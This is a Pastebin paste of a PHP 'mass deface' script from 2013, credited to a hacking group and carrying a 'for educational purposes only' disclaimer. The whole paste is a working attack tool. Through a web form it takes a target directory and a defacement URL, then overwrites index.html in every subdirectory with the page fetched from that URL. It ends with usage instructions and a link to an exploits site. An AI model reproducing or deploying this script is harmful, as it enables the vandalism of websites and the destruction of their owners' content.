Want more features on Pastebin? Sign Up, it's FREE!
Guest

mass deface

By: hooshmand on Jan 31st, 2013  |  syntax: PHP  |  size: 2.00 KB  |  views: 229  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. /*
  3. Script: Mass Deface Script
  4. Author: illSecure Research Group
  5. Website: http://illsecure.com
  6. Email: illSecResearchGroup@gmail.com
  7. Disclaimer:
  8. This script is for Research/Educational/Academic purposes only,
  9. The Author of this script takes no responsibility for the way
  10. you use this script, you are responsible for your own actions.
  11. */
  12. echo "<center><textarea rows='10' cols='100'>";
  13. $defaceurl = $_POST['massdefaceurl'];
  14. $dir = $_POST['massdefacedir'];
  15. echo $dir."\n";
  16.  
  17. if (is_dir($dir)) {
  18.     if ($dh = opendir($dir)) {
  19.         while (($file = readdir($dh)) !== false) {
  20.                         if(filetype($dir.$file)=="dir"){
  21.                                 $newfile=$dir.$file."/index.html";
  22.                                 echo $newfile."\n";
  23.                                 if (!copy($defaceurl, $newfile)) {
  24.                                         echo "failed to copy $file...\n";
  25.                                 }
  26.                         }
  27.         }
  28.         closedir($dh);
  29.     }
  30. }
  31. echo "</textarea></center>";
  32. ?>
  33.  
  34.  
  35. <td align=right>Mass Defacement:</td><br>
  36. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  37. [+] Main Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>
  38. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  39. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  40.  
  41.  
  42. <br><br><br>
  43. ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
  44. ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
  45. <b>** Disclaimer: <br>
  46. This script is for Research/Educational/Academic purposes only, <br>
  47. The Author of this script takes no responsibility for the way <br>
  48. you use this script, you are responsible for your own actions. ** <br><b>
  49. <br> <a href="http://illSeucure.com">** Visit illSecure.com for exclusive scripts, tutorials, exploits & much more..  </a>
  50. </body></html>
clone this paste RAW Paste Data